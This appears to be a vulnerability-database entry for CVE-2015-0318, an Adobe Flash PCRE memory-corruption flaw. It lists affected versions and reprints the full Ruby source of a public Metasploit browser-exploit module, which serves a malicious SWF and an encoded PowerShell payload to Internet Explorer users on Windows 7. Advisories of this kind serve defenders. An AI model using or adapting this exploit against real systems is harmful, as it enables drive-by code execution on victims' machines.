CVE-2015-0318

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Published 2015-02-06 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Adobe Flash Player before 13.0.0.269 and 14.x through 16.x before 16.0.0.305 on Windows and OS X and before 11.2.202.442 on Linux allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2015-0314, CVE-2015-0316, CVE-2015-0321, CVE-2015-0329, and CVE-2015-0330.

Predictions

Exploit likelihood

20%

Patch ETA

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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-36420 remote windows verified ruby · 4 KB

Metasploit · 2015-03-17

Adobe Flash Player - PCRE Regex (Metasploit)

ruby exploit Source: Exploit-DB

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  CLASSID =  'd27cdb6e-ae6d-11cf-96b8-444553540000'

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Flash Player PCRE Regex Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error
        in the PCRE engine, specifically in the handling of the \c escape sequence when followed by
        a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Mark Brand', # Found vuln
          'sinn3r'      # MSF
        ],
      'References'     =>
        [
          [ 'CVE', '2015-0318' ],
          [ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],
          [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ]
        ],
      'Payload'        =>
        {
          'Space' => 1024,
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          'Retries' => true
        },
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :clsid   => "{#{CLASSID}}",
          :method  => "LoadMovie",
          :os_name => OperatingSystems::Match::WINDOWS_7,
          :ua_name => Msf::HttpClients::IE,
          # Ohter versions are vulnerable but .235 is the one that works for me pretty well
          # So we're gonna limit to this one for now. More validation needed in the future.
          :flash   => lambda { |ver| ver == '16.0.0.235' }
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 25 2014",
      'DefaultTarget'  => 0))
  end

  def exploit
    # Please see data/exploits/CVE-2015-0318/ for source,
    # that's where the actual exploit is
    @swf = create_swf
    super
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Request: #{request.uri}")

    if request.uri =~ /\.swf$/
      print_status("Sending SWF...")
      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
      return
    end

    print_status("Sending HTML...")
    tag = retrieve_tag(cli, request)
    profile = get_profile(tag)
    profile[:tried] = false unless profile.nil? # to allow request the swf
    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
  end

  def exploit_template(cli, target_info)
    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
    target_payload = get_payload(cli, target_info)
    psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
    b64_payload = Rex::Text.encode_base64(psh_payload)

    html_template = %Q|<html>
    <body>
    <object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
    <param name="movie" value="<%=swf_random%>" />
    <param name="allowScriptAccess" value="always" />
    <param name="FlashVars" value="sh=<%=b64_payload%>" />
    <param name="Play" value="true" />
    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
    </object>
    </body>
    </html>
    |

    return html_template, binding()
  end

  def create_swf
    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )
    swf = ::File.open(path, 'rb') { |f| swf = f.read }

    swf
  end

end

Metasploit modules

exploit_windows/browser/adobe_flash_pcre rank 300

Adobe Flash Player PCRE Regex Vulnerability

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OS impact

Linux kernel Fixed 1 release

Version	Status	Fixed in
-	Not affected	—

macOS Fixed 1 release

Version	Status	Fixed in
-	Not affected	—

Application impact

Vendor	Product	Versions
adobe	flash_player	`{"endIncluding":"13.0.0.264"}`
adobe	flash_player	`14.0.0.125`
adobe	flash_player	`14.0.0.145`
adobe	flash_player	`14.0.0.176`
adobe	flash_player	`14.0.0.179`
adobe	flash_player	`15.0.0.152`
adobe	flash_player	`15.0.0.167`
adobe	flash_player	`15.0.0.189`
adobe	flash_player	`15.0.0.223`
adobe	flash_player	`15.0.0.239`
adobe	flash_player	`15.0.0.246`
adobe	flash_player	`16.0.0.235`
adobe	flash_player	`16.0.0.257`
adobe	flash_player	`16.0.0.287`
adobe	flash_player	`16.0.0.296`

References

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